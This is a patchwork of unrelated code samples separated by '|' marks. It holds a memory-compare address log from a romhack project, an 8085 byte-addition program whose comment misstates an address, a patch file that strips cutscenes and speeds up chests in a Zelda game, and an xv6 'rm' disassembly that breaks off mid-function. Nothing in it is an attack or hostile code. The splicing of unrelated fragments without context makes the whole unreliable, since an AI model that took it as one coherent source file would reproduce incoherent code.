00B14C eor.w D0, D1 [base+ 1B, base+ 1C, base+ 1D]
00DFDE cmp.b ($1b,A5), D0 [base+ 16]
00DFE2 beq $dff0 [base+ 1B]
07EE8E cmp.b ($1b,A5), D1 [base+ 16]
07EE92 beq $7eea4 [base+ 1B]
084926 cmp.b ($1b,A5), D0 [base+ 16]
08492A beq $84938 [base+ 1B]
copyright zengfr site:http://github.com/zengfr/romhack
|
;Add the contents of memory locations 200h and 2001h and place the result in the memory locations 2002h 2003h.
LXI H,2000H ;HL Points 2000H
MOV A,M ;Get the first operand
INX H ;HL points to 2001H
ADD M ;Add second operand
INX H ;HL points to 2002H
MOV M,A ;Store lower byte of result at 2002H
MVI A,00 ;Initialize higher byte result with 00H
ADC A ;Add carry in the higher byte
INX H ;HL points 2003h
MOV M,A ;Store the higher nbyte of result at 2003H
HLT ;Terminate the program
|
; This patch removes various hardcoded cutscenes from the game.
; nop out a couple lines so the long intro movie is skipped.
.open "sys/main.dol"
.org 0x80232C78
nop
.org 0x80232C88
nop
.close
; This makes the warps out of boss rooms always skip the cutscene usually shown the first time you beat the boss and warp out.
.open "files/rels/d_a_warpf.rel" ; Warp out of boss object
.org 0xC3C
; Function C3C of d_a_warpf.rel is checking if the post-boss cutscene for this dungeon has been viewed yet or not.
; Change it to simply always return true, so that it acts like it has been viewed from the start.
li r3, 1
blr
.close
; Remove the cutscene where the Tower of the Gods rises out of the sea.
; To do this we modify the goddess statue's code to skip starting the raising cutscene.
; Instead we branch to code that ends the current pearl-placing event after the tower raised event bit is set.
.open "files/rels/d_a_obj_doguu.rel" ; Goddess statues
.org 0x267C
b 0x26A0
.close
; In order to get rid of the cutscene where the player warps down to Hyrule 3, we set the HYRULE_3_WARP_CUTSCENE event bit in the custom function for initializing a new game.
; But then that results in the warp appearing even before the player should unlock it.
; So we replace a couple places that check that event bit to instead call a custom function that returns whether the warp should be unlocked or not.
.open "files/rels/d_a_warpdm20.rel" ; Hyrule warp object
.org 0x634
bl check_hyrule_warp_unlocked
.org 0xB50
bl check_hyrule_warp_unlocked
.close
; Change the conditions that cause certain letters to be sent to Link so they don't depend on seeing cutscenes.
.open "files/rels/d_a_obj_toripost.rel" ; Mailbox
.org 0x1B0C
; In vanilla, Orca's letter is sent when you watch a cutscene on Greatfish Isle.
; That cutscene is removed, so change it to be sent when you kill Kalle Demos.
li r3, 4
.org 0x1B10
bl dComIfGs_isStageBossEnemy__Fi
.close
.open "sys/main.dol"
.org 0x80197ADC
; In vanilla, Aryll's letter is sent after watching a cutscene in Hyrule 2.
; That cutscene is removed, so change it to be after killing Helmaroc King.
li r3, 2
bl dComIfGs_isStageBossEnemy__Fi
.org 0x80197AFC
; In vanilla, Tingle's letter is sent after watching a cutscene in Hyrule 2 and rescuing Tingle.
; That cutscene is removed, so change it to be after killing Helmaroc King and rescuing Tingle.
; Change when Tingle's letter is sent.
li r3, 2
bl dComIfGs_isStageBossEnemy__Fi
.close
; Modify the code for warping with the Ballad of Gales to get rid of the cutscene that accompanies it.
.open "files/rels/d_a_ship.rel"
.org 0x7A10
; Get rid of the line that checks if KoRL has reached a high enough Y pos to start the warp yet.
nop
.org 0x7680
; Get rid of the line that plays the warping music, since it would continue playing after the warp has happened.
nop
.close
; Remove song replays, where Link plays a fancy animation to conduct the song after the player plays it.
.open "sys/main.dol"
.org 0x8014ECE0 ; In daPy_lk_c::procTactPlay
; Originally checked if the "You conducted..." text box has disappeared.
; Remove that check.
nop
.org 0x8014EF28 ; In daPy_lk_c::procTactPlay
; Originally checked if Link's conducting animation has finished playing.
; Remove that check.
nop
.close
; Change Tott to only dance once to teach you the Song of Passing, instead of twice.
.open "files/rels/d_a_npc_tt.rel"
.org 0xC68
li r0, 1 ; Number of full dance repetitions to do
.close
; Change the NPC version of Makar that spawns when you kill Kalle Demos to not initiate the event where he talks to you and thanks you for saving him.
; In addition to being unnecessary, that cutscene has an extremely small chance of softlocking the game even in vanilla.
.open "files/rels/d_a_npc_cb1.rel" ; Makar
.org 0x80B8
; This line originally called isStageBossEnemy to see if he's being spawned during Kalle Demos's death or afterwards.
; Change it to always be true, which tricks Makar into thinking he's being spawned after Kalle Demos's death in both instances.
li r3, 1
.close
; Modify the item get funcs for the 3 pearls to call custom functions that automatically place the pearls as soon as you get them.
.open "sys/main.dol"
.org 0x800C43F4 ; In item_func_pearl1__Fv
bl give_pearl_and_raise_totg_if_necessary
.org 0x800C4424 ; In item_func_pearl2__Fv
bl give_pearl_and_raise_totg_if_necessary
.org 0x800C4454 ; In item_func_pearl3__Fv
bl give_pearl_and_raise_totg_if_necessary
.close
; After you kill Puppet Ganon, he would normally respawn you in his room but override the layer to be layer 9 for the cutscene there.
; We set the switch for having already seen that cutscene in the new game initialization code, but then the rope you need to climb doesn't appear because the layer is wrong.
; We remove the layer override from Puppet Ganon's call to setNextStage.
.open "files/rels/d_a_bgn.rel" ; Puppet Ganon
.org 0xB1E0
li r6, -1 ; No layer override
.close
; Change all treasure chests to open quickly.
; Removes the build up music, uses the short opening event instead of the long dark room event, and use the short chest opening animation.
; This change also fixes the bug where the player can duplicate items by using storage on the non-wooden chests.
.open "files/rels/d_a_tbox.rel" ; Treasure chests
.org 0x279C ; In actionOpenWait__8daTbox_cFv
b 0x2800
.org 0x2870 ; In actionOpenWait__8daTbox_cFv
nop
.org 0x3D2E ; File ID of the bck animation to use for chest type 1
.short 9 ; Was originally 8 (long chest opening anim)
.org 0x3D3A ; File ID of the bck animation to use for chest type 2
.short 9 ; Was originally 8 (long chest opening anim)
.org 0x3D46 ; File ID of the bck animation to use for chest type 3
.short 9 ; Was originally 8 (long chest opening anim)
.close
; Change the item get sound used when opening a wooden chest to the good item sound instead of the bad item sound.
; Because of the above change where all chests were given the wooden chest event, this also affects non-wooden chests too.
; To do this we change the code that decides what item get sound to play to ignore prm0 to Link's 010open_treasure.
.open "sys/main.dol"
.org 0x8012E3A4 ; In setGetItemSound__9daPy_lk_cFUsi
b 0x8012E3E8
.close
; Prevent Ivan from automatically triggering the cutscene where the Killer Bees tell you about Mrs. Marie's birthday and the Joy Pendant in the tree.
; (It can still be manually triggered by talking to any of the Killer Bees, in case you actually want to activate the Joy Pendant in the tree.)
.open "files/rels/d_a_npc_mk.rel" ; Ivan
.org 0x2F80
b 0x2FD8
.close
; But because the above cutscene is also what normally allows you to give Joy Pendants to Mrs. Marie, we instead change the event bit she checks to enable that (1E04) to instead check the event bit for her having given you the reward for catching the Killer Bees (1F80).
; This is so the player doesn't need to manually trigger the above cutscene to do the Joy Pendant trading quests.
.open "files/rels/d_a_npc_ho.rel" ; Mrs. Marie
.org 0x15FC ; In daNpc_Ho_c::wait01
; For deciding if she should react to the player presenting an item at all
li r4, 0x1F80
.org 0xDB4 ; In daNpc_Ho_c::getMsg
; For deciding what message to say when reacting to the player presenting a Joy Pendant
li r4, 0x1F80
.close
|
_rm: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: bf 01 00 00 00 mov $0x1,%edi
16: 83 ec 08 sub $0x8,%esp
19: 8b 31 mov (%ecx),%esi
1b: 8b 59 04 mov 0x4(%ecx),%ebx
1e: 83 c3 04 add $0x4,%ebx
int i;
if(argc < 2){
21: 83 fe 01 cmp $0x1,%esi
24: 7e 3e jle 64 <main+0x64>
26: 8d 76 00 lea 0x0(%esi),%esi
29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
printf(2, "Usage: rm files...\n");
exit();
}
for(i = 1; i < argc; i++){
if(unlink(argv[i]) < 0){
30: 83 ec 0c sub $0xc,%esp
33: ff 33 pushl (%ebx)
35: e8 1d 03 00 00 call 357 <unlink>
3a: 83 c4 10 add $0x10,%esp
3d: 85 c0 test %eax,%eax
3f: 78 0f js 50 <main+0x50>
for(i = 1; i < argc; i++){
41: 83 c7 01 add $0x1,%edi
44: 83 c3 04 add $0x4,%ebx
47: 39 fe cmp %edi,%esi
49: 75 e5 jne 30 <main+0x30>
printf(2, "rm: %s failed to delete\n", argv[i]);
break;
}
}
exit();
4b: e8 b7 02 00 00 call 307 <exit>
printf(2, "rm: %s failed to delete\n", argv[i]);
50: 50 push %eax
51: ff 33 pushl (%ebx)
53: 68 ec 07 00 00 push $0x7ec
58: 6a 02 push $0x2
5a: e8 21 04 00 00 call 480 <printf>
break;
5f: 83 c4 10 add $0x10,%esp
62: eb e7 jmp 4b <main+0x4b>
printf(2, "Usage: rm files...\n");
64: 52 push %edx
65: 52 push %edx
66: 68 d8 07 00 00 push $0x7d8
6b: 6a 02 push $0x2
6d: e8 0e 04 00 00 call 480 <printf>
exit();
72: e8 90 02 00 00 call 307 <exit>
77: 66 90 xchg %ax,%ax
79: 66 90 xchg %ax,%ax
7b: 66 90 xchg %ax,%ax
7d: 66 90 xchg %ax,%ax
7f: 90 nop
00000080 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
80: 55 push %ebp
81: 89 e5 mov %esp,%ebp
83: 53 push %ebx
84: 8b 45 08 mov 0x8(%ebp),%eax
87: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
8a: 89 c2 mov %eax,%edx
8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
90: 83 c1 01 add $0x1,%ecx
93: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
97: 83 c2 01 add $0x1,%edx
9a: 84 db test %bl,%bl
9c: 88 5a ff mov %bl,-0x1(%edx)
9f: 75 ef jne 90 <strcpy+0x10>
;
return os;
}
a1: 5b pop %ebx
a2: 5d pop %ebp
a3: c3 ret
a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000b0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 53 push %ebx
b4: 8b 55 08 mov 0x8(%ebp),%edx
b7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
ba: 0f b6 02 movzbl (%edx),%eax
bd: 0f b6 19 movzbl (%ecx),%ebx
c0: 84 c0 test %al,%al
c2: 75 1c jne e0 <strcmp+0x30>
c4: eb 2a jmp f0 <strcmp+0x40>
c6: 8d 76 00 lea 0x0(%esi),%esi
c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
d0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
d3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
d6: 83 c1 01 add $0x1,%ecx
d9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
dc: 84 c0 test %al,%al
de: 74 10 je f0 <strcmp+0x40>
e0: 38 d8 cmp %bl,%al
e2: 74 ec je d0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
e4: 29 d8 sub %ebx,%eax
}
e6: 5b pop %ebx
e7: 5d pop %ebp
e8: c3 ret
e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
f0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
f2: 29 d8 sub %ebx,%eax
}
f4: 5b pop %ebx
f5: 5d pop %ebp
f6: c3 ret
f7: 89 f6 mov %esi,%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <strlen>:
uint
strlen(const char *s)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
106: 80 39 00 cmpb $0x0,(%ecx)
109: 74 15 je 120 <strlen+0x20>
10b: 31 d2 xor %edx,%edx
10d: 8d 76 00 lea 0x0(%esi),%esi
110: 83 c2 01 add $0x1,%edx
113: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
117: 89 d0 mov %edx,%eax
119: 75 f5 jne 110 <strlen+0x10>
;
return n;
}
11b: 5d pop %ebp
11c: c3 ret
11d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
120: 31 c0 xor %eax,%eax
}
122: 5d pop %ebp
123: c3 ret
124: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
12a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000130 <memset>:
void*
memset(void *dst, int c, uint n)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 57 push %edi
134: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
137: 8b 4d 10 mov 0x10(%ebp),%ecx
13a: 8b 45 0c mov 0xc(%ebp),%eax
13d: 89 d7 mov %edx,%edi
13f: fc cld
140: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
142: 89 d0 mov %edx,%eax
144: 5f pop %edi
145: 5d pop %ebp
146: c3 ret
147: 89 f6 mov %esi,%esi
149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000150 <strchr>:
char*
strchr(const char *s, char c)
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 53 push %ebx
154: 8b 45 08 mov 0x8(%ebp),%eax
157: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
15a: 0f b6 10 movzbl (%eax),%edx
15d: 84 d2 test %dl,%dl
15f: 74 1d je 17e <strchr+0x2e>
if(*s == c)
161: 38 d3 cmp %dl,%bl
163: 89 d9 mov %ebx,%ecx
165: 75 0d jne 174 <strchr+0x24>
167: eb 17 jmp 180 <strchr+0x30>
169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
170: 38 ca cmp %cl,%dl
172: 74 0c je 180 <strchr+0x30>
for(; *s; s++)
174: 83 c0 01 add $0x1,%eax
177: 0f b6 10 movzbl (%eax),%edx
17a: 84 d2 test %dl,%dl
17c: 75 f2 jne 170 <strchr+0x20>
return (char*)s;
return 0;
17e: 31 c0 xor %eax,%eax
}
180: 5b pop %ebx
181: 5d pop %ebp
182: c3 ret
183: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000190 <gets>:
char*
gets(char *buf, int max)
{
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 57 push %edi
194: 56 push %esi
195: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
196: 31 f6 xor %esi,%esi
198: 89 f3 mov %esi,%ebx
{
19a: 83 ec 1c sub $0x1c,%esp
19d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
1a0: eb 2f jmp 1d1 <gets+0x41>
1a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
1a8: 8d 45 e7 lea -0x19(%ebp),%eax
1ab: 83 ec 04 sub $0x4,%esp
1ae: 6a 01 push $0x1
1b0: 50 push %eax
1b1: 6a 00 push $0x0
1b3: e8 67 01 00 00 call 31f <read>
if(cc < 1)
1b8: 83 c4 10 add $0x10,%esp
1bb: 85 c0 test %eax,%eax
1bd: 7e 1c jle 1db <gets+0x4b>
break;
buf[i++] = c;
1bf: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1c3: 83 c7 01 add $0x1,%edi
1c6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1c9: 3c 0a cmp $0xa,%al
1cb: 74 23 je 1f0 <gets+0x60>
1cd: 3c 0d cmp $0xd,%al
1cf: 74 1f je 1f0 <gets+0x60>
for(i=0; i+1 < max; ){
1d1: 83 c3 01 add $0x1,%ebx
1d4: 3b 5d 0c cmp 0xc(%ebp),%ebx
1d7: 89 fe mov %edi,%esi
1d9: 7c cd jl 1a8 <gets+0x18>
1db: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
1dd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
1e0: c6 03 00 movb $0x0,(%ebx)
}
1e3: 8d 65 f4 lea -0xc(%ebp),%esp
1e6: 5b pop %ebx
1e7: 5e pop %esi
1e8: 5f pop %edi
1e9: 5d pop %ebp
1ea: c3 ret
1eb: 90 nop
1ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1f0: 8b 75 08 mov 0x8(%ebp),%esi
1f3: 8b 45 08 mov 0x8(%ebp),%eax
1f6: 01 de add %ebx,%esi
1f8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1fa: c6 03 00 movb $0x0,(%ebx)
}
1fd: 8d 65 f4 lea -0xc(%ebp),%esp
200: 5b pop %ebx
201: 5e pop %esi
202: 5f pop %edi
203: 5d pop %ebp
204: c3 ret
205: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <stat>:
int
stat(const char *n, struct stat *st)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 56 push %esi
214: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
215: 83 ec 08 sub $0x8,%esp
218: 6a 00 push $0x0
21a: ff 75 08 pushl 0x8(%ebp)
21d: e8 25 01 00 00 call 347 <open>
if(fd < 0)
222: 83 c4 10 add $0x10,%esp
225: 85 c0 test %eax,%eax
227: 78 27 js 250 <stat+0x40>
return -1;
r = fstat(fd, st);
229: 83 ec 08 sub $0x8,%esp
22c: ff 75 0c pushl 0xc(%ebp)
22f: 89 c3 mov %eax,%ebx
231: 50 push %eax
232: e8 28 01 00 00 call 35f <fstat>
close(fd);
237: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
23a: 89 c6 mov %eax,%esi
close(fd);
23c: e8 ee 00 00 00 call 32f <close>
return r;
241: 83 c4 10 add $0x10,%esp
}
244: 8d 65 f8 lea -0x8(%ebp),%esp
247: 89 f0 mov %esi,%eax
249: 5b pop %ebx
24a: 5e pop %esi
24b: 5d pop %ebp
24c: c3 ret
24d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
250: be ff ff ff ff mov $0xffffffff,%esi
255: eb ed jmp 244 <stat+0x34>
257: 89 f6 mov %esi,%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000260 <atoi>:
int
atoi(const char *s)
{
260: 55 push %ebp
261: 89 e5 mov %esp,%ebp
263: 53 push %ebx
264: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
267: 0f be 11 movsbl (%ecx),%edx
26a: 8d 42 d0 lea -0x30(%edx),%eax
26d: 3c 09 cmp $0x9,%al
n = 0;
26f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
274: 77 1f ja 295 <atoi+0x35>
276: 8d 76 00 lea 0x0(%esi),%esi
279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
280: 8d 04 80 lea (%eax,%eax,4),%eax
283: 83 c1 01 add $0x1,%ecx
286: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
28a: 0f be 11 movsbl (%ecx),%edx
28d: 8d 5a d0 lea -0x30(%edx),%ebx
290: 80 fb 09 cmp $0x9,%bl
293: 76 eb jbe 280 <atoi+0x20>
return n;
}
295: 5b pop %ebx
296: 5d pop %ebp
297: c3 ret
298: 90 nop
299: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000002a0 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
2a0: 55 push %ebp
2a1: 89 e5 mov %esp,%ebp
2a3: 56 push %esi
2a4: 53 push %ebx
2a5: 8b 5d 10 mov 0x10(%ebp),%ebx
2a8: 8b 45 08 mov 0x8(%ebp),%eax
2ab: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2ae: 85 db test %ebx,%ebx
2b0: 7e 14 jle 2c6 <memmove+0x26>
2b2: 31 d2 xor %edx,%edx
2b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
2b8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
2bc: 88 0c 10 mov %cl,(%eax,%edx,1)
2bf: 83 c2 01 add $0x1,%edx
while(n-- > 0)
2c2: 39 d3 cmp %edx,%ebx
2c4: 75 f2 jne 2b8 <memmove+0x18>
return vdst;
}
2c6: 5b pop %ebx
2c7: 5e pop %esi
2c8: 5d pop %ebp
2c9: c3 ret
2ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000002d0 <delay>:
void delay(int numberOfClocks)
{
2d0: 55 push %ebp
2d1: 89 e5 mov %esp,%ebp
2d3: 53 push %ebx
2d4: 83 ec 04 sub $0x4,%esp
int firstClock = uptime();
2d7: e8 c3 00 00 00 call 39f <uptime>
2dc: 89 c3 mov %eax,%ebx
int incClock = uptime();
2de: e8 bc 00 00 00 call 39f <uptime>
while(incClock >= (firstClock + numberOfClocks) )
2e3: 03 5d 08 add 0x8(%ebp),%ebx
2e6: 39 d8 cmp %ebx,%eax
2e8: 7c 0f jl 2f9 <delay+0x29>
2ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
{
incClock = uptime();
2f0: e8 aa 00 00 00 call 39f <uptime>
while(incClock >= (firstClock + numberOfClocks) )
2f5: 39 d8 cmp %ebx,%eax
2f7: 7d f7 jge 2f0 <delay+0x20>
}
}
2f9: 83 c4 04 add $0x4,%esp
2fc: 5b pop %ebx
2fd: 5d pop %ebp
2fe: c3 ret
000002ff <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2ff: b8 01 00 00 00 mov $0x1,%eax
304: cd 40 int $0x40
306: c3 ret
00000307 <exit>:
SYSCALL(exit)
307: b8 02 00 00 00 mov $0x2,%eax
30c: cd 40 int $0x40
30e: c3 ret
0000030f <wait>:
SYSCALL(wait)
30f: b8 03 00 00 00 mov $0x3,%eax
314: cd 40 int $0x40
316: c3 ret
00000317 <pipe>:
SYSCALL(pipe)
317: b8 04 00 00 00 mov $0x4,%eax
31c: cd 40 int $0x40
31e: c3 ret
0000031f <read>:
SYSCALL(read)
31f: b8 05 00 00 00 mov $0x5,%eax
324: cd 40 int $0x40
326: c3 ret
00000327 <write>:
SYSCALL(write)
327: b8 10 00 00 00 mov $0x10,%eax
32c: cd 40 int $0x40
32e: c3 ret
0000032f <close>:
SYSCALL(close)
32f: b8 15 00 00 00 mov $0x15,%eax
334: cd 40 int $0x40
336: c3 ret
00000337 <kill>:
SYSCALL(kill)
337: b8 06 00 00 00 mov $0x6,%eax
33c: cd 40 int $0x40
33e: c3 ret
0000033f <exec>:
SYSCALL(exec)
33f: b8 07 00 00 00 mov $0x7,%eax
344: cd 40 int $0x40
346: c3 ret
00000347 <open>:
SYSCALL(open)
347: b8 0f 00 00 00 mov $0xf,%eax
34c: cd 40 int $0x40
34e: c3 ret
0000034f <mknod>:
SYSCALL(mknod)
34f: b8 11 00 00 00 mov $0x11,%eax
354: cd 40 int $0x40
356: c3 ret
00000357 <unlink>:
SYSCALL(unlink)
357: b8 12 00 00 00 mov $0x12,%eax
35c: cd 40 int $0x40
35e: c3 ret
0000035f <fstat>:
SYSCALL(fstat)
35f: b8 08 00 00 00 mov $0x8,%eax
364: cd 40 int $0x40
366: c3 ret
00000367 <link>:
SYSCALL(link)
367: b8 13 00 00 00 mov $0x13,%eax
36c: cd 40 int $0x40
36e: c3 ret
0000036f <mkdir>:
SYSCALL(mkdir)
36f: b8 14 00 00 00 mov $0x14,%eax
374: cd 40 int $0x40
376: c3 ret
00000377 <chdir>:
SYSCALL(chdir)
377: b8 09 00 00 00 mov $0x9,%eax
37c: cd 40 int $0x40
37e: c3 ret
0000037f <dup>:
SYSCALL(dup)
37f: b8 0a 00 00 00 mov $0xa,%eax
384: cd 40 int $0x40
386: c3 ret
00000387 <getpid>:
SYSCALL(getpid)
387: b8 0b 00 00 00 mov $0xb,%eax
38c: cd 40 int $0x40
38e: c3 ret
0000038f <sbrk>:
SYSCALL(sbrk)
38f: b8 0c 00 00 00 mov $0xc,%eax
394: cd 40 int $0x40
396: c3 ret
00000397 <sleep>:
SYSCALL(sleep)
397: b8 0d 00 00 00 mov $0xd,%eax
39c: cd 40 int $0x40
39e: c3 ret
0000039f <uptime>:
SYSCALL(uptime)
39f: b8 0e 00 00 00 mov $0xe,%eax
3a4: cd 40 int $0x40
3a6: c3 ret
000003a7 <incNum>:
SYSCALL(incNum)
3a7: b8 16 00 00 00 mov $0x16,%eax
3ac: cd 40 int $0x40
3ae: c3 ret
000003af <getprocs>:
SYSCALL(getprocs)
3af: b8 17 00 00 00 mov $0x17,%eax
3b4: cd 40 int $0x40
3b6: c3 ret
000003b7 <set_burst_time>:
SYSCALL(set_burst_time)
3b7: b8 18 00 00 00 mov $0x18,%eax
3bc: cd 40 int $0x40
3be: c3 ret
000003bf <set_priority>:
SYSCALL(set_priority)
3bf: b8 19 00 00 00 mov $0x19,%eax
3c4: cd 40 int $0x40
3c6: c3 ret
000003c7 <set_lottery_ticket>:
SYSCALL(set_lottery_ticket)
3c7: b8 1a 00 00 00 mov $0x1a,%eax
3cc: cd 40 int $0x40
3ce: c3 ret
000003cf <set_sched_queue>:
SYSCALL(set_sched_queue)
3cf: b8 1b 00 00 00 mov $0x1b,%eax
3d4: cd 40 int $0x40
3d6: c3 ret
000003d7 <show_processes_scheduling>:
SYSCALL(show_processes_scheduling)
3d7: b8 1c 00 00 00 mov $0x1c,%eax
3dc: cd 40 int $0x40
3de: c3 ret
3df: 90 nop
000003e0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
3e0: 55 push %ebp
3e1: 89 e5 mov %esp,%ebp
3e3: 57 push %edi
3e4: 56 push %esi
3e5: 53 push %ebx
3e6: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
3e9: 85 d2 test %edx,%edx
{
3eb: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
3ee: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
3f0: 79 76 jns 468 <printint+0x88>
3f2: f6 45 08 01 testb $0x1,0x8(%ebp)
3f6: 74 70 je 468 <printint+0x88>
x = -xx;
3f8: f7 d8 neg %eax
neg = 1;
3fa: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
401: 31 f6 xor %esi,%esi
403: 8d 5d d7 lea -0x29(%ebp),%ebx
406: eb 0a jmp 412 <printint+0x32>
408: 90 nop
409: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
410: 89 fe mov %edi,%esi
412: 31 d2 xor %edx,%edx
414: 8d 7e 01 lea 0x1(%esi),%edi
417: f7 f1 div %ecx
419: 0f b6 92 0c 08 00 00 movzbl 0x80c(%edx),%edx
}while((x /= base) != 0);
420: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
422: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
425: 75 e9 jne 410 <printint+0x30>
if(neg)
427: 8b 45 c4 mov -0x3c(%ebp),%eax
42a: 85 c0 test %eax,%eax
42c: 74 08 je 436 <printint+0x56>
buf[i++] = '-';
42e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
433: 8d 7e 02 lea 0x2(%esi),%edi
436: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
43a: 8b 7d c0 mov -0x40(%ebp),%edi
43d: 8d 76 00 lea 0x0(%esi),%esi
440: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
443: 83 ec 04 sub $0x4,%esp
446: 83 ee 01 sub $0x1,%esi
449: 6a 01 push $0x1
44b: 53 push %ebx
44c: 57 push %edi
44d: 88 45 d7 mov %al,-0x29(%ebp)
450: e8 d2 fe ff ff call 327 <write>
while(--i >= 0)
455: 83 c4 10 add $0x10,%esp
458: 39 de cmp %ebx,%esi
45a: 75 e4 jne 440 <printint+0x60>
putc(fd, buf[i]);
}
45c: 8d 65 f4 lea -0xc(%ebp),%esp
45f: 5b pop %ebx
460: 5e pop %esi
461: 5f pop %edi
462: 5d pop %ebp
463: c3 ret
464: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
468: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
46f: eb 90 jmp 401 <printint+0x21>
471: eb 0d jmp 480 <printf>
473: 90 nop
474: 90 nop
475: 90 nop
476: 90 nop
477: 90 nop
478: 90 nop
479: 90 nop
47a: 90 nop
47b: 90 nop
47c: 90 nop
47d: 90 nop
47e: 90 nop
47f: 90 nop
00000480 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
480: 55 push %ebp
481: 89 e5 mov %esp,%ebp
483: 57 push %edi
484: 56 push %esi
485: 53 push %ebx
486: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
489: 8b 75 0c mov 0xc(%ebp),%esi
48c: 0f b6 1e movzbl (%esi),%ebx
48f: 84 db test %bl,%bl
